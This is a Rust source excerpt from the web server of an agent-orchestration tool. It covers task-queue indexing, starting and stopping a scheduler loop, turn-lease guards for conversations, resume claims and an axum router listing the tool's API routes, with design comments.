922            monitor: Arc::new(SharedMonitor::new()),
923        }
924    }
925
926    /// Refresh metadata on every lookup, including external-process writes. Only
927    /// changed records are parsed. Never publish a partial scan as an empty set.
928    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
929        let mut index = self
930            .monitor
931            .queue_index
932            .lock()
933            .unwrap_or_else(PoisonError::into_inner);
934        let entries = match std::fs::read_dir(self.queue.root()) {
935            Ok(entries) => entries,
936            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
937                index.records.clear();
938                return Ok(Vec::new());
939            }
940            Err(e) => return Err(anyhow::Error::from(e).into()),
941        };
942        let mut seen = HashSet::new();
943        for entry in entries {
944            let path = entry.map_err(anyhow::Error::from)?.path();
945            if path.extension().is_none_or(|ext| ext != "json") {
946                continue;
947            }
948            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
949                continue;
950            };
951            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
952            seen.insert(id.to_owned());
953            // On platforms without inode/ctime, re-read rather than trust a
954            // same-size replacement with a preserved modification timestamp.
955            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
956                let Ok(task) = self.queue.get(id) else {
957                    // Isolate an unreadable record, as Queue::list does. Keep
958                    // its last known relationship so a lookup of THAT task
959                    // still fails on the authoritative read below. Never let
960                    // unrelated corruption disable every run and conversation.
961                    // Counts must not present its previous status as current.
962                    if let Some((_, record)) = index.records.get_mut(id) {
963                        Arc::make_mut(record).status = None;
964                    }
965                    continue;
966                };
967                #[cfg(test)]
968                {
969                    index.reparsed += 1;
970                }
971                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
972                    return Err(ApiError::conflict("Queue changed during read; retry"));
973                }
974                index
975                    .records
976                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
977            }
978        }
979        index.records.retain(|id, _| seen.contains(id));
980        let mut tasks: Vec<_> = index
981            .records
982            .values()
983            .map(|(_, task)| task.clone())
984            .collect();
985        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
986        Ok(tasks)
987    }
988
989    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
990        let Some(record) = self
991            .indexed_tasks()?
992            .into_iter()
993            .find(|task| task.runs.iter().any(|id| id == run_id))
994        else {
995            return Ok(None);
996        };
997        let task = self.queue.get(&record.id)?;
998        if !task.runs.iter().any(|id| id == run_id) {
999            return Err(ApiError::conflict("Task relationship changed; retry"));
1000        }
1001        Ok(Some(task))
1002    }
1003
1004    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
1005        self.indexed_tasks()?
1006            .into_iter()
1007            .filter(|task| {
1008                task.chat.as_deref() == Some(talk_id)
1009                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1010            })
1011            .map(|record| {
1012                let task = self.queue.get(&record.id)?;
1013                if task.chat.as_deref() != Some(talk_id)
1014                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1015                {
1016                    return Err(ApiError::conflict("Task relationship changed; retry"));
1017                }
1018                Ok(task)
1019            })
1020            .collect()
1021    }
1022
1023    /// The operator's own state: `<home>/queue`, `<home>/questions`,
1024    /// `<home>/talks`, `<home>/runs`.
1025    pub fn open(repo: PathBuf) -> Self {
1026        Self::new(
1027            Queue::open(),
1028            Questions::open(),
1029            Talks::open(),
1030            run::runs_root(),
1031            run::home(),
1032            repo,
1033        )
1034    }
1035
1036    /// The merge mode the loop should use, as the command line gave it.
1037    ///
1038    /// A builder step rather than a seventh parameter on [`Ui::new`], because
1039    /// the override is a property of how this process was invoked and not of
1040    /// where its state lives - which is all the tests that build a `Ui` by
1041    /// hand are saying.
1042    #[must_use]
1043    pub fn with_merge(mut self, merge: Option<String>) -> Self {
1044        self.merge = merge;
1045        self
1046    }
1047
1048    /// The machine-config file the settings screen writes, when it is not
1049    /// [`Config::machine_layer`] (tests).
1050    #[cfg(test)]
1051    #[must_use]
1052    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1053        self.machine_config = path;
1054        self
1055    }
1056
1057    /// Where the runs' worktrees live, when it is not the default.
1058    ///
1059    /// The health view sizes this directory, so a test that leaves it at the
1060    /// default would be measuring the operator's own machine.
1061    #[must_use]
1062    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1063        self.worktrees_root = root;
1064        self
1065    }
1066
1067    /// Point the loop at something other than [`launch_daemon`].
1068    ///
1069    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
1070    /// this crate may start the real loop.
1071    #[cfg(test)]
1072    #[must_use]
1073    fn with_launch(mut self, launch: Launch) -> Self {
1074        self.launch = launch;
1075        self
1076    }
1077
1078    /// Install a [`BusyQueueGate`] for the next pass through the busy
1079    /// branch's queued-draft write, replacing any earlier one.
1080    ///
1081    /// A setter on `&self` rather than a `with_*` builder consumed once,
1082    /// because a test that drives the busy branch more than once (as
1083    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
1084    /// to build confidence the interleaving is handled deterministically and
1085    /// not just on a lucky run) needs a fresh channel pair each time, on the
1086    /// one `Ui` it already built its temp directories around.
1087    #[cfg(test)]
1088    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1089        *self
1090            .busy_queue_gate
1091            .lock()
1092            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1093    }
1094
1095    /// Prevent a restart from ending an already accepted send between its
1096    /// durable transcript write and detached worker reservation.
1097    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1098        let guard = Arc::clone(&self.admissions)
1099            .try_read_owned()
1100            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1101        if *guard {
1102            return Err(ApiError::conflict(
1103                "web restart in progress; retry this message",
1104            ));
1105        }
1106        Ok(guard)
1107    }
1108
1109    /// Start a scheduler that outlives this web process.
1110    async fn start_detached_loop(&self) -> ApiResult<()> {
1111        if self
1112            .upgrade_spawned
1113            .load(std::sync::atomic::Ordering::SeqCst)
1114        {
1115            return Err(ApiError::conflict("an upgrade is in progress"));
1116        }
1117        let reading = daemon::read_status(&self.home);
1118        if let Some(other) = Foreign::of(reading.as_ref()) {
1119            return Err(ApiError::conflict(format!(
1120                "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1121                other.who()
1122            )));
1123        }
1124        let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1125        let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1126        let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1127            || reading.is_some_and(|reading| {
1128                reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1129            });
1130        if control.is_some() && scheduler_running {
1131            return Err(ApiError::conflict(
1132                "the scheduler is still stopping; retry Start after it has stopped",
1133            ));
1134        }
1135        if !jobs.iter().any(|job| job.kind == "scheduler") {
1136            let available =
1137                crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1138            if available.is_none() {
1139                return Err(ApiError::conflict(
1140                    "the scheduler is still running or stopping; retry after its transition completes",
1141                ));
1142            }
1143            drop(available);
1144        }
1145        let opts = daemon::Opts {
1146            repo: self.repo.clone(),
1147            merge: self.merge.clone(),
1148            worktrees_root: Some(self.worktrees_root.clone()),
1149            ..daemon::Opts::default()
1150        };
1151        daemon::spawn_detached(&self.home, &opts)
1152            .await
1153            .map_err(ApiError::from)?;
1154        let mut state = self.lock_loop();
1155        state.last_error = None;
1156        state.rev += 1;
1157        Ok(())
1158    }
1159
1160    /// Start the loop in this process, or say who already has one.
1161    ///
1162    /// `foreign` is passed in rather than read here so that one request makes
1163    /// one judgement about who owns the loop: reading the status file again
1164    /// inside this function could refuse a start for a daemon the same
1165    /// response then reports as gone.
1166    #[cfg(test)]
1167    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1168        if let Some(other) = foreign {
1169            return Err(ApiError::conflict(format!(
1170                "{} is already running the loop, so this one will not start a \
1171                 second: two loops on one queue race for the same claims and \
1172                 burn the agent quota twice over. Stop it where it was \
1173                 started.",
1174                other.who()
1175            )));
1176        }
1177        let mut state = self.lock_loop();
1178        if self
1179            .upgrade_spawned
1180            .load(std::sync::atomic::Ordering::SeqCst)
1181        {
1182            return Err(ApiError::conflict("an upgrade is in progress"));
1183        }
1184        if state.live.as_ref().is_some_and(Live::alive) {
1185            return Err(ApiError::conflict(format!(
1186                "this magi web process (pid {}) is already running the loop",
1187                std::process::id()
1188            )));
1189        }
1190
1191        let stop = daemon::Stop::new();
1192        // The CLI's own defaults for everything the UI has no opinion about:
1193        // one poll interval and one retry budget, so a loop started from a
1194        // phone behaves exactly like the `magi serve` it replaces.
1195        let opts = daemon::Opts {
1196            repo: self.repo.clone(),
1197            merge: self.merge.clone(),
1198            // Whatever this `Ui` already reports worktree sizes and folds
1199            // against (see `with_worktrees_root`) is what the loop it starts
1200            // must reclaim orphaned worktrees under too - two different
1201            // opinions about where the worktree bay is would leave the
1202            // janitor pass reclaiming a directory nothing else on this
1203            // process is even looking at.
1204            worktrees_root: Some(self.worktrees_root.clone()),
1205            ..daemon::Opts::default()
1206        };
1207        let launch = self.launch;
1208        let looping = Arc::clone(&self.looping);
1209        let handle = tokio::spawn({
1210            let opts = opts.clone();
1211            let stop = stop.clone();
1212            async move {
1213                let failure = match launch(opts, stop).await {
1214                    Ok(()) => None,
1215                    Err(e) => Some(format!("{e:#}")),
1216                };
1217                match &failure {
1218                    Some(why) => tracing::error!("the loop stopped: {why}"),
1219                    None => tracing::info!("the loop stopped"),
1220                }
1221                // Recorded by the task itself rather than reaped by whichever
1222                // request happens next, so `loop_rev` moves the moment the
1223                // loop ends and a phone with the change stream open learns
1224                // that it did. Clearing `live` drops this task's own handle,
1225                // which only detaches it, and is the last thing it does.
1226                let mut state = lock_or_recover(&looping);
1227                state.live = None;
1228                state.last_error = failure;
1229                state.rev += 1;
1230            }
1231        });
1232        tracing::info!(
1233            "the loop is now running in this process: repo {}, merge {}",
1234            opts.repo.display(),
1235            opts.merge.as_deref().unwrap_or("as the config says")
1236        );
1237        state.live = Some(Live { stop, handle, opts });
1238        // A fresh start is not the place to keep showing why the last one
1239        // died; the operator has read it and pressed the button anyway.
1240        state.last_error = None;
1241        state.rev += 1;
1242        Ok(())
1243    }
1244
1245    /// Ask the loop to stop, without waiting for it to get there.
1246    ///
1247    /// Idempotent: a second tap on stop is not an error, because the first one
1248    /// leaves the loop running for as long as the run in flight takes and the
1249    /// operator has no way to tell a slow stop from a lost one.
1250    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1251        if let Some(other) = foreign {
1252            return Err(ApiError::conflict(format!(
1253                "the loop belongs to {}, and this process cannot stop it - \
1254                 stop it where it was started. A button that silently did \
1255                 nothing would be worse than this refusal.",
1256                other.who()
1257            )));
1258        }
1259        #[cfg(not(test))]
1260        {
1261            daemon::request_control(
1262                &self.home,
1263                if park {
1264                    crate::worker::Control::Park
1265                } else {
1266                    crate::worker::Control::Stop
1267                },
1268            )
1269            .map_err(ApiError::from)?;
1270            self.lock_loop().rev += 1;
1271            Ok(())
1272        }
1273        #[cfg(test)]
1274        {
1275            let mut state = self.lock_loop();
1276            let Some(live) = state.live.as_ref() else {
1277                return Ok(());
1278            };
1279            // A park upgrades a stop that has already been asked for: the
1280            // operator who tapped "stop" and then realised the run has an hour
1281            // left must not have to restart the loop to change their mind.
1282            if live.stop.stopped() && (!park || live.stop.parking()) {
1283                return Ok(());
1284            }
1285            if park {
1286                live.stop.park(crate::run::ParkCause::Operator);
1287                tracing::info!(
1288                    "the loop was asked to park; the run stops at its next node boundary"
1289                );
1290            } else {
1291                live.stop.stop();
1292                tracing::info!("the loop was asked to stop; a run in flight is finished first");
1293            }
1294            state.rev += 1;
1295            Ok(())
1296        }
1297    }
1298
1299    /// The loop as both `/api/loop` and `/api/health` report it.
1300    ///
1301    /// `reading` is the caller's single read of `<home>/daemon.json`, because
1302    /// health answers with this view *and* the daemon object beside it: one
1303    /// read per response is what stops a single answer naming a foreign owner
1304    /// in one field and calling the loop free in the other.
1305    #[cfg(not(test))]
1306    fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1307        let jobs = crate::worker::active(&self.home).map_err(|error| {
1308            ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1309        })?;
1310        Ok(self.runtime_loop_view(reading, &jobs))
1311    }
1312
1313    #[cfg(test)]
1314    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1315        let state = self.lock_loop();
1316        // A loop that panicked never recorded its own end, so the handle -
1317        // not the presence of the record - is what "running" means.
1318        let live = state.live.as_ref().filter(|live| live.alive());
1319        LoopView {
1320            running: live.is_some(),
1321            stopping: live.is_some_and(|live| live.stop.finishing()),
1322            parking: live.is_some_and(|live| live.stop.parking()),
1323            owned: live.is_some(),
1324            repo: live
1325                .map_or(&self.repo, |live| &live.opts.repo)
1326                .display()
1327                .to_string(),
1328            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1329            last_error: state.last_error.clone(),
1330            daemon: DaemonView::of(reading),
1331        }
1332    }
1333
1334    /// Reuse one active-job snapshot for both ownership and public health.
1335    fn runtime_loop_view(
1336        &self,
1337        reading: Option<daemon::Reading>,
1338        jobs: &[crate::worker::Job],
1339    ) -> LoopView {
1340        let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1341        let reporting = reading
1342            .as_ref()
1343            .is_some_and(|r| r.running(Timestamp::now()));
1344        let managed = scheduler.is_some()
1345            || (reporting
1346                && reading
1347                    .as_ref()
1348                    .is_some_and(|r| r.worker_protocol == Some(1)));
1349        let control = crate::worker::control(&self.home, "scheduler")
1350            .ok()
1351            .flatten();
1352        // Foreground serve also persists its options, so ownership never
1353        // causes us to substitute the web process's repository for its own.
1354        let persisted = if managed && scheduler.is_none() {
1355            std::fs::read(self.home.join("scheduler-options.json"))
1356                .ok()
1357                .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1358        } else {
1359            None
1360        };
1361        let repo = scheduler
1362            .and_then(|job| job.payload.get("repo"))
1363            .and_then(serde_json::Value::as_str)
1364            .map(str::to_owned)
1365            .or_else(|| {
1366                persisted
1367                    .as_ref()
1368                    .map(|opts| opts.repo.display().to_string())
1369            })
1370            .unwrap_or_else(|| self.repo.display().to_string());
1371        let merge = match scheduler {
1372            Some(job) => job
1373                .payload
1374                .get("merge")
1375                .and_then(serde_json::Value::as_str)
1376                .map(str::to_owned),
1377            None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1378        };
1379        LoopView {
1380            running: managed || reporting,
1381            stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1382            parking: matches!(control, Some(crate::worker::Control::Park))
1383                && jobs.iter().any(|job| job.kind == "task"),
1384            owned: managed,
1385            repo,
1386            merge,
1387            last_error: self.lock_loop().last_error.clone(),
1388            daemon: DaemonView::of(reading),
1389        }
1390    }
1391
1392    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
1393    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1394        lock_or_recover(&self.looping)
1395    }
1396
1397    /// In-flight admission, detached startup, or a cross-process turn lease.
1398    fn is_thinking(&self, id: &str) -> bool {
1399        self.talk_turns
1400            .lock()
1401            .is_ok_and(|turns| turns.live.contains(id))
1402            // Another process (the CLI) can hold the turn through the
1403            // on-disk lease.
1404            || self.talks.turn_held(id)
1405            || crate::chat_worker::turn_worker_active(&self.talks, id)
1406    }
1407
1408    /// 表示専用の観測。ローカルの受付処理やワーカーストアの書き込みを待たない。
1409    /// 送信などの判断には [`Ui::is_thinking`] を使う。
1410    fn is_thinking_observed(&self, id: &str) -> bool {
1411        self.talk_turns.try_lock().map_or_else(
1412            // Admission may itself be waiting on the worker store. Display a
1413            // conservative busy state rather than waiting behind that writer.
1414            |error| matches!(error, std::sync::TryLockError::WouldBlock),
1415            |turns| turns.live.contains(id),
1416        )
1417            // Another process (the CLI) can hold the turn through the
1418            // on-disk lease.
1419            || self.talks.turn_held(id)
1420            || crate::consult::turn_worker_observed(&self.talks, id)
1421    }
1422
1423    /// Claim the right to run one turn in a talk, or report that it is busy.
1424    ///
1425    /// A talk is strictly turn-based: the agent is resumed with the
1426    /// conversation it already has, so two turns running at once would resume
1427    /// the same session twice and append their answers in whatever order the
1428    /// two CLIs finished in. The operator would come back to a transcript
1429    /// with two half-turns interleaved, which is unreadable and, worse,
1430    /// unfixable - there is no undo for a persisted turn.
1431    ///
1432    /// A busy result is queued as a durable draft by [`talk_say`], rather than
1433    /// starting a second CLI invocation for the same session.
1434    ///
1435    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
1436    /// taken to test-and-insert and released before the agent is spawned. The
1437    /// returned guard removes the id on drop, which is what makes a panicking
1438    /// handler or a phone that walks out of range leave the talk usable - axum
1439    /// drops the handler future when the client disconnects, and without the
1440    /// guard that talk would be wedged until the server restarted.
1441    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442        self.claim_talk_turn(id, false)
1443    }
1444
1445    /// Claim a turn after durably queueing a draft, or notify its current
1446    /// owner that a drainer must recheck before it releases the slot.
1447    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1448        self.claim_talk_turn(id, true)
1449    }
1450
1451    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1452        let mut live = self
1453            .talk_turns
1454            .lock()
1455            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1456        if crate::chat_worker::turn_worker_active(&self.talks, id) {
1457            if queued {
1458                *live.queued.entry(id.to_owned()).or_default() += 1;
1459            }
1460            return Ok(None);
1461        }
1462        let inserted = live.live.insert(id.to_owned());
1463        // The on-disk lease is the cross-process half of the gate. Taken
1464        // second, and undone if lost, so `live` never claims a turn the lease
1465        // refused.
1466        let lease = if inserted {
1467            match self.talks.claim_turn(id) {
1468                Ok(Some(lease)) => Some(lease),
1469                Ok(None) => {
1470                    live.live.remove(id);
1471                    None
1472                }
1473                Err(e) => {
1474                    live.live.remove(id);
1475                    return Err(ApiError::from(e));
1476                }
1477            }
1478        } else {
1479            None
1480        };
1481        if lease.is_none() {
1482            if queued {
1483                // A queued write has landed before this busy check.
1484                // `drain_loop` uses this generation to recheck after its
1485                // off-thread disk read, so it cannot release a turn between
1486                // this check and the write.
1487                *live.queued.entry(id.to_owned()).or_default() += 1;
1488            }
1489            return Ok(None);
1490        }
1491        Ok(Some(TalkTurnGuard {
1492            talk: id.to_owned(),
1493            turns: Arc::clone(&self.talk_turns),
1494            released: false,
1495            lease,
1496        }))
1497    }
1498
1499    /// Decide whether a free talk may start a new immediate turn while its
1500    /// claim lock is held. A persisted draft without an owner is recovery
1501    /// state, not a busy turn: two simultaneous `/say` requests must both
1502    /// leave it untouched rather than one of them appending to it.
1503    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1504        let mut live = self
1505            .talk_turns
1506            .lock()
1507            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1508        // A detached worker owns its turn across web process replacement.
1509        if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1510            return Ok(TalkTurnStart::Busy);
1511        }
1512        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1513            return Ok(TalkTurnStart::Foreign);
1514        };
1515        // A refused `Pending` below drops the lease again.
1516        let talk = self.talks.get(id).map_err(ApiError::from)?;
1517        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1518            return Ok(TalkTurnStart::Pending);
1519        }
1520        live.live.insert(id.to_owned());
1521        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1522            talk: id.to_owned(),
1523            turns: Arc::clone(&self.talk_turns),
1524            released: false,
1525            lease: Some(lease),
1526        }))
1527    }
1528
1529    fn queued_generation(&self, id: &str) -> u64 {
1530        let live = self
1531            .talk_turns
1532            .lock()
1533            .unwrap_or_else(PoisonError::into_inner);
1534        live.queued.get(id).copied().unwrap_or(0)
1535    }
1536
1537    /// Claim a run for a resume, on the same reasoning as
1538    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
1539    /// disconnected phone does not wedge the run until the server restarts.
1540    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1541        let mut live = self
1542            .resuming
1543            .lock()
1544            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1545        if self
1546            .upgrade_spawned
1547            .load(std::sync::atomic::Ordering::SeqCst)
1548        {
1549            return Err(ApiError::conflict("an upgrade is in progress"));
1550        }
1551        if !live.insert(id.to_owned()) {
1552            return Err(ApiError::conflict(format!(
1553                "run {id} is already being resumed"
1554            )));
1555        }
1556        Ok(ResumeGuard {
1557            run: id.to_owned(),
1558            resuming: Arc::clone(&self.resuming),
1559        })
1560    }
1561
1562    /// The router, with this state baked in.
1563    ///
1564    /// The three front-end files get one explicit route each rather than a
1565    /// path parameter, so there is no traversal surface to get wrong: the set
1566    /// of servable paths is the set written here. The asset route below is the
1567    /// one exception and the only place in this server where a client names a
1568    /// file; it is why [`valid_asset_name`] is checked before a path is built.
1569    pub fn router(self) -> Router {
1570        Arc::new(self).shared_router()
1571    }
1572
1573    fn shared_router(self: Arc<Self>) -> Router {
1574        Router::new()
1575            .route("/", get(index))
1576            .route("/app.css", get(app_css))
1577            .route("/app.js", get(app_js))
1578            .route("/api/health", get(health))
1579            .route("/api/references", post(id_links::resolve_text))
1580            .route("/api/loop", get(loop_get).post(loop_post))
1581            .route("/api/upgrade", post(upgrade_post))
1582            .route("/api/runs", get(runs_list))
1583            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1584            .route("/api/runs/{id}/progress", get(run_progress))
1585            .route("/api/runs/{id}/core", get(run_core))
1586            .route("/api/runs/{id}/report", get(run_report))
1587            .route("/api/runs/{id}/report.json", get(run_report_json))
1588            .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1589            .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1590            .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1591            .route("/api/runs/{id}/fold", post(run_fold))
1592            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1593            .route("/api/runs/{id}/resume", post(run_resume))
1594            .route("/api/queue", get(queue_list))
1595            .route("/api/queue/page", get(queue_page))
1596            .route("/api/search", get(search_get))
1597            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1598            .route("/api/queue/{id}/core", get(task_core))
1599            .route("/api/stats", get(stats_get))
1600            .route("/api/stats/queue", get(stats_queue))
1601            .route("/api/repos", get(repos_list))
1602            .route("/api/settings", get(settings_get))
1603            .route("/api/settings/roles", put(settings_put_roles))
1604            .route("/api/queue/{id}/hold", post(queue_hold))
1605            .route("/api/queue/{id}/reassign", post(queue_reassign))
1606            .route("/api/queue/{id}/release", post(queue_release))
1607            .route("/api/queue/{id}/priority", post(queue_priority))
1608            .route("/api/queue/{id}/urgent", post(queue_urgent))
1609            .route("/api/queue/{id}/implementers", post(queue_implementers))
1610            .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1611            .route("/api/queue/{id}/edit", post(queue_edit))
1612            .route("/api/queue/{id}/done", post(queue_done))
1613            .route("/api/queue/{id}/reopen", post(queue_reopen))
1614            .route("/api/decisions", get(decisions_list))
1615            .route("/api/decisions/{id}", get(decision_get))
1616            .route("/api/questions", get(questions_list))
1617            .route("/api/questions/core", get(questions_core))
1618            .route("/api/questions/origins", get(question_origins))
1619            .route("/api/questions/{id}/answer", post(question_answer))
1620            .route("/api/questions/{id}/say", post(question_say))
1621            .route("/api/questions/{id}/consult", post(question_consult))
1622            .route("/api/questions/{id}/panel", get(question_panel))
1623            // The same asset, reachable from inside the panel by its bare
1624            // filename. A document served at `.../panel` resolves `shot.png`
1625            // to `.../shot.png`, which is not the asset route, so a panel
1626            // written the way its author was told to write it showed broken
1627            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
1628            // it - deliberately - so the fix is that the panel's own URL ends
1629            // in a filename and its siblings are the assets.
1630            .route("/api/questions/{id}/panel/index.html", get(question_panel))
1631            .route("/api/questions/{id}/panel/{name}", get(question_asset))
1632            .route("/api/questions/{id}/asset/{name}", get(question_asset))
1633            .route("/api/notifications", get(notifications_list))
1634            .route("/api/notifications/read-all", post(notifications_read_all))
1635            .route("/api/notifications/{id}/read", post(notification_read))
1636            .route(
1637                "/api/notifications/{id}/dismiss",
1638                post(notification_dismiss),
1639            )
1640            .route("/api/talks", get(talks_list).post(talk_post))
1641            .route("/api/talks/page", get(talks_page))
1642            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1643            .route("/api/talks/{id}/core", get(talk_core))
1644            .route("/api/talks/{id}/sections", get(talk_sections))
1645            .route("/api/talks/{id}/say", post(talk_say))
1646            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1647            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1648            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1649            .route("/api/talks/{id}/agent", post(talk_agent))
1650            .route("/api/talks/{id}/persona", post(talk_persona))
1651            .route("/api/talks/{id}/implementers", post(talk_implementers))
1652            .route("/api/talks/{id}/close", post(talk_close))
1653            .route("/api/talks/{id}/reopen", post(talk_reopen))
1654            // `DefaultBodyLimit` is raised only on this one route - every
1655            // other route on this server answers in a few kilobytes, and
1656            // widening the crate-wide default for all of them just because
1657            // one accepts a picture would let any other handler be handed
1658            // a multi-megabyte body it never expects.
1659            .route(
1660                "/api/talks/{id}/attachments",
1661                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1662            )
1663            .route(
1664                "/api/talks/{id}/attachments/{att}",
1665                get(talk_attachment_get),
1666            )
1667            .route("/api/talks/{id}/avatar", get(talk_avatar))
1668            .route("/avatars/operator.svg", get(operator_avatar))
1669            .route(
1670                "/api/avatar-settings",
1671                get(avatar_settings_get)
1672                    .put(avatar_settings_put)
1673                    .delete(avatar_settings_delete),
1674            )
1675            .route("/avatars/persona", get(settings_persona_avatar))
1676            .route("/avatars/magi", get(magi_avatar))
1677            .route(
1678                "/api/magi-icon",
1679                get(magi_icon_get)
1680                    .put(magi_icon_put)
1681                    .delete(magi_icon_delete),
1682            )
1683            .route("/api/events", get(events))
1684            .with_state(self)
1685    }
1686}
1687
1688/// One talk's turn slot, released on drop.
1689///
1690/// A guard rather than a matching `remove` at the end of the handler, because
1691/// the handler has several early returns and one `await` that can be cancelled
1692/// out from under it. A leaked id is a talk nobody can talk to again.
1693#[derive(Debug)]
1694struct TalkTurnGuard {
1695    talk: String,
1696    turns: Arc<Mutex<TalkTurns>>,
1697    released: bool,
1698    /// The cross-process half of the slot; dropped with the guard.
1699    lease: Option<crate::talk::TurnLease>,
1700}
1701
1702/// In-memory turn ownership plus the queue generation observed by a drainer.
1703///
1704/// The generation changes only after a durable queued draft is written and its
1705/// caller finds the turn busy. That lets the loop run filesystem work outside
1706/// this mutex while still making the final empty-check/release atomic with a
1707/// concurrent queue handoff.
1708#[derive(Debug, Default)]
1709struct TalkTurns {
1710    live: HashSet<String>,
1711    queued: HashMap<String, u64>,
1712}
1713
1714/// The atomic initial-state decision made by
1715/// [`Ui::begin_talk_turn_unless_pending`].
1716enum TalkTurnStart {
1717    Claimed(TalkTurnGuard),
1718    Busy,
1719    /// Another process holds the turn lease. Unlike `Busy` there is no local
1720    /// drain loop that would answer a queued draft, so the caller refuses.
1721    Foreign,
1722    Pending,
1723}
1724
1725impl TalkTurnGuard {
1726    #[cfg(test)]
1727    /// Does this guard still own the on-disk lease? A transient failure to
1728    /// check counts as owning: the next beat decides. A guard that lost it
1729    /// must not start another turn on the same session.
1730    fn owns(&self) -> bool {
1731        self.lease
1732            .as_ref()
1733            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1734    }
1735
1736    #[cfg(test)]
1737    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1738    /// than the lease's TTL still reads as held to other processes.
1739    async fn respond(
1740        &self,
1741        talk: &mut Talk,
1742        talks: &Talks,
1743        cfg: &Config,
1744        text: &str,
1745    ) -> anyhow::Result<()> {
1746        let lease = self
1747            .lease
1748            .as_ref()
1749            .context("the turn guard no longer holds its lease")?;
1750        talk::respond(lease, talk, talks, cfg, text).await
1751    }
1752
1753    /// Release while the caller already holds the claim mutex, closing the
1754    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1755    fn release(mut self, live: &mut TalkTurns) {
1756        // The on-disk lease goes first: while `live` still names the talk, no
1757        // local claim can start, so nobody observes the slot free but the
1758        // lease held.
1759        self.lease = None;
1760        live.live.remove(&self.talk);
1761        live.queued.remove(&self.talk);
1762        self.released = true;
1763    }
1764}
1765
1766impl Drop for TalkTurnGuard {
1767    fn drop(&mut self) {
1768        if self.released {
1769            return;
1770        }
1771        // Lease first, then the in-process slot (see `release`).
1772        drop(self.lease.take());
1773        if let Ok(mut live) = self.turns.lock() {
1774            live.live.remove(&self.talk);
1775            live.queued.remove(&self.talk);
1776        }
1777    }
1778}
1779
1780/// Releases a resume claim, so a run is resumable again after the attempt.
1781struct ResumeGuard {
1782    run: String,
1783    resuming: Arc<Mutex<HashSet<String>>>,
1784}
1785
1786impl Drop for ResumeGuard {
1787    fn drop(&mut self) {
1788        if let Ok(mut live) = self.resuming.lock() {
1789            live.remove(&self.run);
1790        }
1791    }
1792}
1793
1794/// Bind the port, waiting briefly for a predecessor to let go of it.
1795///
1796/// A restart hands the address from one process to the next, and the old one
